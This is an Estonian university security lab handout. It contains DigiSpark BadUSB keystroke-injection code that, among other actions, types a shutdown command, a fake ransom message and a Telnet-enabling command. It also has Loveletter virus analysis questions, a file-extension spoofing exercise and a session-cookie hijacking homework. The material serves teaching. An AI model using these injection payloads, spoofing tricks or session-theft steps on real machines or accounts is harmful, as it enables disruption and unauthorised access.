Viiruste uurimine
Eelmises praktikumis uurisime kuidas kuidas pahalased teie arvutis ennast peidavad ja kuidas neid avastada. Seekord vaatame aga 2 erinevat juhtu sellest, kuidas pahavara võib levida ja uurime lähemalt koodi, mis nad teie arvutis käivitavad.
- Esimesena vaatame lihtsustatud näidet kuidas USB mälupulka meenutav seade saaks teie arvuti pahavaraga nakatada (Stuxnet viidi Iraani tuumakütuse rikastamise tehasesse samuti USB pulgal). Selle näitlikustamiseks teeme paar lihtsat näidet, mille käigus uurime kuidas erinevad Windowsi klahvikombinatsioonid võivad teie arvuti kasutamatuks muuta. Praktikumis tehtavad ülesanded illustreerivad seda, et suvalise USB seadme kasutamine on ohtlik kuna USB on juba disaini poolest ebaturvaline - selle kohta saab lugeda siit: BadUSB. Näiteks on võimalik USB seade ümber programmeerida nii, et see tuvastatakse klaviatuurina, mistõttu USB seade saab hakata kohe pärast arvutiga ühendamist käsureale käske kirjutama. Lisaks võib USB seade olla nakatunud pahavaraga, mida on raske tuvastada (näiteks kui kasutusel on 0-day tüüpi turvaauk
https://en.wikipedia.org/wiki/Zero-day_(computing)
, mida kasutati ka Stuxnet levitamiseks). Seetõttu ei ole hea mõte võõraid USB seadmeid enda arvutiga ühendada, kuigi vastav tegevus on väga levinud. 2016 aastal tehti USA-s katse, kus parkimisplatsile "kaotati" umbes 300 USB pulka ning katse tulemusena selgus, et vähemalt 48% pulkadest ühendati arvutitesse ning seal olevaid faile avati. Ilmselt ühendati arvutitega palju rohkem pulkasid, aga katse käigus mõõdeti ainult seda, kas mõnda faili avati. Antud katsest on kirjutatud ülevaade, mida saab lugeda siit: Concerns about USB security are real: 48% of people do plug-in USB drives found in parking lots. - Teisena uurime kuidas üks maailma kõige kuulsamaid ja edukamaid e-maili viirusi "ILOVEYOU" edaspidi "LoveLetter" sisuliselt muutis kõigi inimeste arusaama arvutiviirustest ja kuidas tal õnnestus hinnanguliselt 10% sellel hetkel maailmas eksisteerinud arvuteist nakatada. "LoveLetter" võib pidada kõigi e-maili viiruste eelkäijaks ning eriti hetkel populaarse ja pahandust tegeva CrypoLocker pahavaraga on sarnasused ilmsed.
DIGISPARK ehk programmeeritav Arduinoga sarnane USB seade
DIGISPARK
on Väike ja odav kuid võimekas Arduinoga ühilduv arendusplaat
Programmeerimiskeskkond: Arduino IDE (C-keel), vajab eraldi seadistust Vaba tarkvara ja vaba riistvara (kogu tarkvara, skeemid jne on avalikud) Protsessor: Attiny85 (16,5 MHz, 8 bit, 8 KB flash, low power) Sisend-väljund: 6 digitaalset I/O viiku 4 Analoog sisendit Tööpinge: 5V Väline toide: 7-35V Mõõtmed: 1,8 x 2,6 cm Plussid: Väike, odav, töötab usb seadmena (hiir, klaviatuur), enamik Arduino sensoritest ja riistvarast on ühildatav Puudused: vajab eraldi laiendusplaate Hind: 2 EUR (Hiina kloon)
DigiSpark kasutamine:
DigiSparki
soovitame kasutada klassi arvutites, selle jaoks käivitage operatsioonisüsteem Võrgutehnoloogia Windows 10
. Kui on siiski soov kasutada isiklikku arvutit peab selleks kasutama Windows 10 virtuaalmasinat ja sinna lisama USB filtri
(esimene filtri valik, mis on sinise nupuga) nagu tegime WiFi ründe praktikumis.
DigiSpark
on Arduino derivaat ja selle kasutamine on veidi erinev klassikalise Arduino-ga võrreldes. Esimese asjana nagu ka Arduinoga tuleb arvutisse paigaldada Arduino IDE, mille saab alla laadida http://www.arduino.cc lehelt. Erinevalt tavalisest Arduino/Genuino-st tuleb lisaks paigaldamisele ka enne DigiSpark kasutamist Arduino IDE-le lisada DigiSparki tugi. Vastava juhendi leiab lehelt: http://digistump.com/wiki/digispark/tutorials/connecting. Väga oluline on alla laadida viidatud draiverite zip fail, see lahti pakkida ning siis lahtipakitud kausta seest draiverid paigaldada (fail Install Drivers.exe
).
ÄRA mine juhendiga edasi enne kui oled http://digistump.com/wiki/digispark/tutorials/connecting tegevused lõpetanud.
Pärast edukat DigiSpark installeerimist saate seda testida järgmise koodiga. Pööra tähelepanu asjaolule et erinevalt tavalisest Arduinost tuleb DigiSpark ühendada alles pärast upload nupu vajutamist 60 sekundi jooksul
. Antud nõue tuleneb asjaolust et seadme ühendamisel arvutiga (toitega) on seade algselt programmeerimise režiimis ja pärast 5 sekundi möödumist tuntakse see ära kui USB seade.
// the setup routine runs once when you press reset: void setup() { // initialize the digital pin as an output. pinMode(0, OUTPUT); //LED on Model B pinMode(1, OUTPUT); //LED on Model A } // the loop routine runs over and over again forever: void loop() { digitalWrite(0, HIGH); // turn the LED on (HIGH is the voltage level) digitalWrite(1, HIGH); delay(1000); // wait for a second digitalWrite(0, LOW); // turn the LED off by making the voltage LOW digitalWrite(1, LOW); delay(1000); // wait for a second }
Väga lõbus harjutus on seadistada DigiSpark käituma klaviatuuri või hiirena. Vastavalt
File → Examples → DigisparkKeyboard → Keyboard File → Examples → DigisparkMouse → Mouse
Kui nüüd seade ühendada arvuti taha siis hakkab 5 sekundi pärast kas hiir liikuma või tekib ekraanile tekst nagu keegi oleks klaviatuuril klahve vajutanud.
Näidiskood paha USB loomiseks
DigiSpark klaviatuuriga saab mitmeid põnevaid klahvikombinatsioone pahaaimamatu kasutaja arvutisse saata. Õppejõud on koostanud selle illustreerimiseks teile näidiskoodi, mille võiksite programmeerida DigiSpark USB seadmesse ja jälgida (tuvuda) mida erinevad näited (case) teie arvutiga teeb. NB! pärast praktikumi taastage algne olukord, ehk lülitage välja "High contrast" ja muud aknad mida näidiskood avab. Klaviatuuri klahvikoodid on standardiseertiud USB dokumentatsioonis https://www.usb.org/sites/default/files/documents/hut1_12v2.pdf ja defineeritud digikeyboard
teegis https://github.com/digistump/DigisparkArduinoIntegration/blob/master/libraries/DigisparkKeyboard/DigiKeyboard.h
#include "DigiKeyboard.h" #define KEY_UP_ARROW 0x52 #define KEY_DOWN_ARROW 0x51 #define KEY_LEFT_ARROW 0x50 #define KEY_RIGHT_ARROW 0x4F #define KEY_PRINT_SCR 70 #define KEY_TAB 43 void setup() { randomSeed(analogRead(0)); //generate better random } void loop() { DigiKeyboard.update(); DigiKeyboard.sendKeyStroke(0); delay(200); switch (random(15)) { case 0: DigiKeyboard.sendKeyStroke(KEY_M, MOD_GUI_LEFT); break; case 1: DigiKeyboard.sendKeyStroke(KEY_L, MOD_GUI_LEFT); break; case 2: DigiKeyboard.sendKeyStroke(KEY_DOWN_ARROW, MOD_GUI_LEFT); break; case 3: DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); delay(200); DigiKeyboard.print("msg "); DigiKeyboard.sendKeyStroke(85); DigiKeyboard.println(" Tere, sinu arvutis on viirus, lahti saamiseks kanna raha 00120020304945093"); break; case 4: DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); delay(200); DigiKeyboard.print("cmd"); delay(200); DigiKeyboard.sendKeyStroke(KEY_ENTER); delay(200); DigiKeyboard.print("shutdown "); DigiKeyboard.sendKeyStroke(86); DigiKeyboard.println("L"); case 5: DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); delay(200); DigiKeyboard.println("cmd"); delay(200); DigiKeyboard.println("tree"); DigiKeyboard.sendKeyStroke(KEY_F11); break; case 6: DigiKeyboard.sendKeyStroke(KEY_PRINT_SCR, MOD_SHIFT_LEFT + MOD_ALT_LEFT); delay(500); DigiKeyboard.sendKeyStroke(KEY_ENTER); break; case 7: DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); delay(200); DigiKeyboard.println("chrome www.cs.ut.ee"); break; case 8: DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); delay(200); DigiKeyboard.println("chrome"); delay(1000); DigiKeyboard.println("programmeerimine.ut.ee"); break; case 9: DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_ALT_LEFT); DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_ALT_LEFT); DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_ALT_LEFT); break; case 10: DigiKeyboard.sendKeyStroke(KEY_D, MOD_CONTROL_LEFT + MOD_GUI_LEFT); break; case 11: DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); delay(200); DigiKeyboard.println("cmd"); delay(200); DigiKeyboard.println("title See on pahalase nimeline kasurida!"); break; case 12: DigiKeyboard.sendKeyStroke(KEY_M, MOD_GUI_LEFT); delay(300); DigiKeyboard.sendKeyStroke(KEY_F10, MOD_SHIFT_LEFT); delay(300); DigiKeyboard.sendKeyStroke(KEY_DOWN_ARROW); delay(200); DigiKeyboard.sendKeyStroke(KEY_RIGHT_ARROW); delay(200); DigiKeyboard.sendKeyStroke(KEY_UP_ARROW); delay(200); DigiKeyboard.sendKeyStroke(KEY_ENTER); delay(200); break; case 13: DigiKeyboard.sendKeyStroke(0); delay(50); DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT); delay(200); DigiKeyboard.print("A"); delay(2000); DigiKeyboard.sendKeyStroke(KEY_LEFT_ARROW); delay(200); DigiKeyboard.sendKeyStroke(KEY_ENTER); delay(1000); //saadame käsu "dism /online /Enable-Feature /FeatureName:TelnetClient" DigiKeyboard.print("dism "); DigiKeyboard.sendKeyStroke(84); DigiKeyboard.print("online "); DigiKeyboard.sendKeyStroke(84); DigiKeyboard.print("Enable"); DigiKeyboard.sendKeyStroke(86); DigiKeyboard.print("Feature "); DigiKeyboard.sendKeyStroke(84); DigiKeyboard.print("FeatureName"); //Send Unicode character U+58 meaning ":" for that we hold down ALT key and send from numpad 5 and 8 numbers. Otherwise estonian vs english keys wont match. DigiKeyboard.sendKeyPress(93,MOD_ALT_LEFT); DigiKeyboard.sendKeyPress(96,MOD_ALT_LEFT); DigiKeyboard.sendKeyPress(0,0); DigiKeyboard.delay(100); DigiKeyboard.println("TelnetClient"); delay(5000); DigiKeyboard.print("n"); DigiKeyboard.delay(500); DigiKeyboard.println("telnet towel.blinkenlights.nl"); default: break; } delay(5000); }
DigiSpark (ja tegelt ka "tavaline" klaviatuur) ei saada arvutisse mitte tähti (tähemärke) vaid koodi (numbri) millist klahvi vajutatakse. Edasi on juba arvuti operatsioonisüsteemi (täpsemalt draiverite ja keeleseadete) ülesanne muundada need ekraanil kuvatavateks õigeteks tähtedeks. Sellepärast on ka koodis näiteks märgid /
, -
, :
jne saadetud klaviatuuri numbriosalt või unicode characterine (ALT+numpad 5 ja 8). Klaviatuuri numbrikoodidega saab tutvuda järgneval pildil.
Lisalugemine: Kuidas tekitada endale tagauks Linux masinasse sisse saamiseks...
https://nox-sec.de/?p=74 (Reverse Shell for 1,50€ – Digispark instead of USB Rubber Ducky)
Esitada1: Muuda koodi niiviisi, et USB seadme ühendamisel kirjutatakse terminaliaknasse teie nimeline teade või tekst. Nüüd kasuta Windowsi sisse ehitatud tööriista nimega Steps Recorder
(e.k. Toimingute salvesti
ja salvesta hetk kus DigiSpark kirjutab teie nime. Kui võimalik, siis lisage taustale ka aken nime kirjutamise koodiga. Salvesta ja esita enda nimeline ZIP fail koos pahalase tegevustega (peab sisaldama sinu nime).
Näiteks: "Tudeng Meelis Roos soovib Andmeturve praktikum 13 arvestust!"
NB! Case 1
ja Case 4
võivad takistada Steps Recorder
tööd ja on soovitav keelata kustutades vastavad read näidiskoodist
Esitada2: Iga case kohta etteantud koodis kirjutada paarisõnaline seletus mida ta teeb. Testimiseks saab koodi modifitseerida või proovida klahvikombinatsioone neid ise sisestades.
Koodis olevaid klahvikombinatsioone tuleb lugeda nii, et kõigepeal tuleb teha parempoolne tegevus ja siis vasakpoolne. Näiteks KEY_R, MOD_GUI_LEFT korral vajutage kõigepealt vasakpoolsele windowsi nupule ja siis klahvile R.
Näiteks:
- Case 0: Minimaliseerib kõik aknad (ehk näitab Desktopi)
- Case 1: Lukustab ekraani
- Case 2: ...
- Case 3: ...
...
- Case 13: Siia kirjuta seletus
Makroviirused
Lahkame vanu "klassikalisi" viirusi.
Loveletter
- Loe koodi ja püüa aru saada, mida see teeb: loveletter. See makroviirus on kirjutatud keeles VBScript. Kui tahate trepitud koodi, siis üks võimalus selleks on kasutada lehekülge nimega http://www.vbindent.com
- Mismoodi viirus end arvuti käivitamise järel tööle paneb?
- Kas viirus peale enda levitamise veel midagi teeb?
- Mis tegevusi tehakse eri laiendiga failidele? (too 2 näidet)
- Kuidas viirus end e-mailiga levitab?
- Milleks loob viirus "HKEY_CURRENT_USER\Software\Microsoft\WAB\" alla oma võtmed?
- Kas aadressiraamatusse hiljem lisandunutele ka viirus saadetakse?
Lisaküsimused:
- Miks on levitatava HTML-i mall sogastatud?
- Kuidas sogastamisest lahti saadakse töötava skripti saamiseks?
Lisaülesanne kiirematele: Kuidas peita paha-aimamatu kasutaja eest ära kahtlust äratav faililaiend
- Tutvuge juhendiga lehel:
http://galogetlatorre.blogspot.com.ee/2013/07/how-can-you-be-fooled-by-u202e-trick.html
- Looge
PDF
fail, mille faililaiend kasutajaliideses kuvataksTXT
Lisamaterjal kodus vaatamiseks:
Kokkuvõtvalt viiruste ja turvaküsimuste analüüsi kohta on TED keskkonnas mitu õpetlikku video mida soovitame vaadata eelnevate teemade paremaks mõistmiseks:
- Soome turva-expert Mikko Hypponen viiruste analüüsist https://www.ted.com/talks/mikko_hypponen_fighting_viruses_defending_the_net
- Stuxnet https://www.ted.com/talks/ralph_langner_cracking_stuxnet_a_21st_century_cyberweapon
- Everything can be hacked https://www.ted.com/talks/avi_rubin_all_your_devices_can_be_hacked
- Hire the kackers https://www.ted.com/talks/misha_glenny_hire_the_hackers
Praktikumi ülesanded
Praktikumi ülesannete lahendamine annab ühe punkti. Praktikumi ülesanne võiks valmis saada praktikumi lõpuks, aga juhul kui see ei õnnestu, siis on võimalik lahendust esitada nädala jooksul.
Esitada1: Muuda koodi niiviisi, et USB seadme ühendamisel kuvataks ekraanile sinu nimelist veateadet. Nüüd kasuta Windowsi sisse ehitatud tööriista nimega Steps Recorder
ja salvesta umbes 1 min pikkune pahalase tegevus. Salvesta ja esita enda nimeline ZIP fail koos pahalase tegevustega (peab sisaldama sinu nime).
Esitada2: Iga case kohta etteantud koodis kirjutada paarisõnaline seletus mida ta teeb.
Näiteks:
* Case 0: Minimaliseerib kõik aknad (ehk näitab desktopi)
- Case 1: Lukustab ekraani
- Case 2: ...
- Case 3: ...
...
- Case 13: Siia kirjuta seletus
Esitada 3: *Loveletter (konkreetsed lühikesed vastused on eelistatud)
- Mismoodi viirus end järgmise boodi järel tööle paneb?
- Kas viirus peale enda levitamise veel midagi teeb?
- Mis tegevusi tehakse eri laiendiga failidele? (too 2 näidet)
- Kuidas viirus end e-mailiga levitab?
- Milleks loob viirus "HKEY_CURRENT_USER\Software\Microsoft\WAB\" alla oma võtmed?
- Kas aadressiraamatusse hiljem lisandunutele ka viirus saadetakse?
Lahendusi võtame vastu järgmistes failiformaatides: .zip (mis sisaldab Recording...mht faili ja tekstifaili küsimuste vastustega.
13. Praktikum 13 - Viiruste uurimineTagasiside
Praktikumi lõpus palume anda tagasisidet, sest see võimaldab meil antud praktikumi ja ka järgmisi praktikume paremaks muuta. Tagasiside on anonüümne ja tagasiside vormi leiate järgneva lingi abil: tagasiside ankeet.
Kodune ülesanne - Seansikaaperdus
Ülesande lahendamiseks aega 1 nädal.
Käesoleva nädala praktikumi ülesandeks on läbi viia Cookie hijacking
- eesti keeles "küpsise vargus" (http://www.vallaste.ee) või "brauserikoogi näppamine" (https://akit.cyber.ee)
Küpsis
- Internetis tähendab see sõna väikest andmeplokki (tekstifaili), mille veebiserver saadab teie veebibrauserile ja mis salvestatakse teie arvuti kõvakettale. Edaspidi iga kord, kui brauser pöördub uuesti sama veebisaidi poole, saadab ta sinna ka küpsise. Sõltuvalt küpsise tüübist ja brauseri seadetest võib brauser küpsise vastu võtta või sellest keelduda. Kasutaja saab ka ära määrata, kui kaua küpsis kõvakettal säilitatakse. Informatsioon, mida küpsised sisaldavad, võib olla näiteks sisselogimise või registreerimise info, ostukorv veebi-kaupluses, kasutajavalikute menüü vms. Kui veebiserver saab brauserilt küpsist sisaldava infonõude, siis kasutab server küpsisesse salvestatud andmeid ja saadab nende alusel just teile sobivat informatsiooni. Küpsiseid hoitakse töö ajal tavaliselt ajutistes (TEMP) failides ja kui te brauseri välja lülitate, siis küpsised kas kustutatakse või salvestatakse kõvakettale (kui nende "aegumistähtaeg" pole veel kätte jõudnud). Küpsised ei loe informatsiooni teie kõvakettalt ega saada teie elulugu "pädevatele organitele". Küll aga võib küpsiseid saatva veebilehe omanik kasutada neid andmekaevandamiseks ja müüa kogutud andmeid kolmandatele osapooltele. Küpsised kuuluvad nn hallvara hulka, mis ei ole otseselt ohtlik, aga võib siiski ebamugavusi tekitada. Näiteks võib teie postkasti võib hakata saabuma ohtrasti soovimatut reklaami. Sellepärast analüüsivad viirusetõrjeprogrammid lisaks viirustele ja ussidele ka küpsiseid ja pakuvad kasutajale võimalust ise otsustada, millised küpsised alles jätta ja millised kustutada. Küpsised on oma nime saanud Ameerikas populaarsete õnneküpsiste (fortune cookie) järgi. Küpsiste valmistamise ajal pannakse mõne küpsise sisse paberitükike, millele on rikkust, õnne vms ennustavad kirjaread. http://www.vallaste.ee/
Eesmärk: Läbi viia edukas seansikaaperdusrünne https://courses.cs.ut.ee ja https://ois2.ut.ee lehtede vastu.
Ülesanne: Logi sisse Mozilla FireFox
veebilehitsejas lehele https://courses.cs.ut.ee ja https://ois2.ut.ee ning tutvu enda küpsiste infoga. Selleks vajuta veebilehtsejas klaviatuuri nuppu F12
mis avab teile täiendavate tööriistade menüü (nn. Web Developer Tools). Avanenud aknas vali Storage
-> Cookies
ja otsi üles rida COURSESSID
sealt kopeeri sinu courses sessiooni võti (nn küpsise info).
Ava enda Andmeturve Linux Mint
virtuaalmasin ja paigalda seal endale Chrome
vabavaraline versioon Chromium
veebilehitseja
sudo apt update sudo apt install chromium-browser
Järgnevalt mine Chromium
veebilehtisejas lehele https://courses.cs.ut.ee ( NB! ära logi veel sisse) ja vajuta uuesti F12
-> (>>
menüü) -> Application
-> Cookies
ning otsi üles kirje COURSESSID
, mille väärtus kopeeri enda masina FireFox
veebilehtsejast. Tee lehele värskendus - F5
ja veendu, et nüüd oled kenasti virtuaalmasinas ilma parooli sisestamata https://courses.cs.ut.ee lehele sisse loginud.
Tulemus: Tehke ekraanipilt õnnestunud küpsise kopeerimisest FireFox veebilehitsejast Andmeturve Virtuaalmasina Chrome (Chromium) veebilehitsejasse https://courses.cs.ut.ee veebilehel.
Näidislahenduse pilt (ootame vastuseid sarnases formaadis):
Korda tegevust https://ois2.ut.ee lehel (Vihje: ÕIS2 kasutab cookie asemel Local Storage
-> session_token
nimelist kirjet sessiooni tuvastamiseks. Kirje tuleb teil ise luua õige väärtusega).
Esitada: https://courses.cs.ut.ee ja https://ois2.ut.ee veebilehtede ekraanipildid eduka seansikaaperdamisest vastavalt juhendile (näidislahendusele). Identifitseerimise võti peab olema pildil nähtav ja kattuma põhimasinas ja virtuaalmasinas (võti võib turvakaalutlustel olla osaliselt varjatud).
Koduse ülesande lahendus tuleks esitada aine kodulehelt. Korraga saab esitada ainult ühe faili, korduv lahenduse esitamine kirjutab eelmise lahenduse üle ning seetõttu tuleb vajaduse korral lahendus kokku pakkida üheks failiks.
28. Kodune ülesanne 13Viited
- Visual Basic
- Viirus Love Letter
- Return of macro viruses